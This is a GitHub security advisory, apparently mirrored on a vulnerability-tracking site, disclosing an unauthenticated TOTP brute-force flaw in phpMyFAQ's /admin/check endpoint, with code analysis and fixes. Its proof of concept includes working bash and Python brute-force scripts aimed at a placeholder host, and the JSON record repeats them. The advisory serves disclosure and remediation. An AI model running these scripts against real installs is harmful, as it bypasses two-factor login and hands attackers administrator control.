GHSA-9PQ7-MFWH-XX2J

Vulnerability from github – Published: 2026-05-06 20:42 – Updated: 2026-05-06 20:42
VLAI
Summary
phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id
Details

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    $user = $this->currentUserService;
    $user->getUserById($userId);

    if (strlen((string) $token) === 6) {
        $tfa = $this->twoFactor;
        $result = $tfa->validateToken($token, $userId);

        if ($result) {
            $user->twoFactorSuccess();
            $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());
            return new RedirectResponse(url: './');
        }

        $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());
    }

    return new RedirectResponse('./token?user-id=' . $userId);
}

Problems:

  1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user.
  2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock.
  3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

# Step 1: Identify target user ID (admin is typically user_id=1)
TARGET_HOST="http://target.example"
USER_ID=1

# Step 2: Brute-force the 6-digit TOTP code
# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.
# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do
  RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \
    -X POST "${TARGET_HOST}/admin/check" \
    -d "token=${code}&user-id=${USER_ID}")

  # A successful 2FA grants a session and redirects to ./
  # A failure redirects to ./token?user-id=1
  if echo "$RESPONSE" | grep -qv "token?user-id="; then
    echo "[+] Valid TOTP: ${code}"
    break
  fi
done
# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check"
USER_ID = 1

def try_code(code):
    r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False)
    location = r.headers.get("Location", "")
    if "token?user-id=" not in location:
        return code
    return None

with ThreadPoolExecutor(max_workers=50) as pool:
    for result in pool.map(try_code, range(1000000)):
        if result is not None:
            print(f"[+] Valid TOTP: {result:06d}")
            break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

  1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

  2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

  3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    // Require that the session proves password auth for this specific user
    if ($this->session->get('2fa_pending_user_id') !== $userId) {
        return new RedirectResponse(url: './login');
    }

    // ... existing TOTP validation ...
}

And in authenticate(), after successful password check:

$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());

Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-307"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:42:54Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user\u0027s 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=\u003cvalue\u003e`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.\n\n## Details\n\n**File**: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228.\n\nThe controller class declaration:\n\n```php\nfinal class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck\n```\n\nThe `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session.\n\nThe `check` action (line 201-228):\n\n```php\n#[Route(path: \u0027/check\u0027, name: \u0027admin.auth.check\u0027, methods: [\u0027POST\u0027])]\npublic function check(Request $request): RedirectResponse\n{\n    if ($this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        return new RedirectResponse(url: \u0027./\u0027);\n    }\n\n    $token = Filter::filterVar($request-\u003erequest-\u003eget(key: \u0027token\u0027), FILTER_SANITIZE_SPECIAL_CHARS);\n    $userId = (int) Filter::filterVar($request-\u003erequest-\u003eget(key: \u0027user-id\u0027), FILTER_VALIDATE_INT);\n\n    $user = $this-\u003ecurrentUserService;\n    $user-\u003egetUserById($userId);\n\n    if (strlen((string) $token) === 6) {\n        $tfa = $this-\u003etwoFactor;\n        $result = $tfa-\u003evalidateToken($token, $userId);\n\n        if ($result) {\n            $user-\u003etwoFactorSuccess();\n            $this-\u003eadminLog-\u003elog($user, AdminLogType::AUTH_2FA_SUCCESS-\u003evalue . \u0027:\u0027 . $user-\u003egetLogin());\n            return new RedirectResponse(url: \u0027./\u0027);\n        }\n\n        $this-\u003eadminLog-\u003elog($user, AdminLogType::AUTH_2FA_FAILED-\u003evalue . \u0027:\u0027 . $user-\u003egetLogin());\n    }\n\n    return new RedirectResponse(\u0027./token?user-id=\u0027 . $userId);\n}\n```\n\nProblems:\n\n1. **No session binding**: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user.\n2. **No rate limit or lockout**: Failed attempts redirect back to the token form with no counter, delay, or account lock.\n3. **Unauthenticated access**: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement.\n\nThe normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly.\n\n## Proof of Concept\n\n```bash\n# Step 1: Identify target user ID (admin is typically user_id=1)\nTARGET_HOST=\"http://target.example\"\nUSER_ID=1\n\n# Step 2: Brute-force the 6-digit TOTP code\n# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.\n# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.\n\nfor code in $(seq -w 000000 999999); do\n  RESPONSE=$(curl -s -o /dev/null -w \"%{http_code}:%{redirect_url}\" \\\n    -X POST \"${TARGET_HOST}/admin/check\" \\\n    -d \"token=${code}\u0026user-id=${USER_ID}\")\n\n  # A successful 2FA grants a session and redirects to ./\n  # A failure redirects to ./token?user-id=1\n  if echo \"$RESPONSE\" | grep -qv \"token?user-id=\"; then\n    echo \"[+] Valid TOTP: ${code}\"\n    break\n  fi\ndone\n```\n\n```python\n# Faster parallel version\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://target.example/admin/check\"\nUSER_ID = 1\n\ndef try_code(code):\n    r = requests.post(TARGET, data={\"token\": f\"{code:06d}\", \"user-id\": USER_ID}, allow_redirects=False)\n    location = r.headers.get(\"Location\", \"\")\n    if \"token?user-id=\" not in location:\n        return code\n    return None\n\nwith ThreadPoolExecutor(max_workers=50) as pool:\n    for result in pool.map(try_code, range(1000000)):\n        if result is not None:\n            print(f\"[+] Valid TOTP: {result:06d}\")\n            break\n```\n\n## Impact\n\nBob bypasses two-factor authentication for any user account (including administrators) without knowing the user\u0027s password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.\n\n**CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1)\n**CWE**: CWE-307 (Improper Restriction of Excessive Authentication Attempts)\n\n## Recommended Fix\n\n1. **Bind the 2FA step to a password-verified session**: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts.\n\n2. **Add rate limiting / lockout**: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.\n\n3. **Narrow the SkipsAuthenticationCheck scope**: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.\n\nExample session-binding fix in `check()`:\n\n```php\n#[Route(path: \u0027/check\u0027, name: \u0027admin.auth.check\u0027, methods: [\u0027POST\u0027])]\npublic function check(Request $request): RedirectResponse\n{\n    $userId = (int) Filter::filterVar($request-\u003erequest-\u003eget(key: \u0027user-id\u0027), FILTER_VALIDATE_INT);\n\n    // Require that the session proves password auth for this specific user\n    if ($this-\u003esession-\u003eget(\u00272fa_pending_user_id\u0027) !== $userId) {\n        return new RedirectResponse(url: \u0027./login\u0027);\n    }\n\n    // ... existing TOTP validation ...\n}\n```\n\nAnd in `authenticate()`, after successful password check:\n\n```php\n$this-\u003esession-\u003eset(\u00272fa_pending_user_id\u0027, $this-\u003ecurrentUser-\u003egetUserId());\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-9pq7-mfwh-xx2j",
  "modified": "2026-05-06T20:42:54Z",
  "published": "2026-05-06T20:42:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9pq7-mfwh-xx2j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…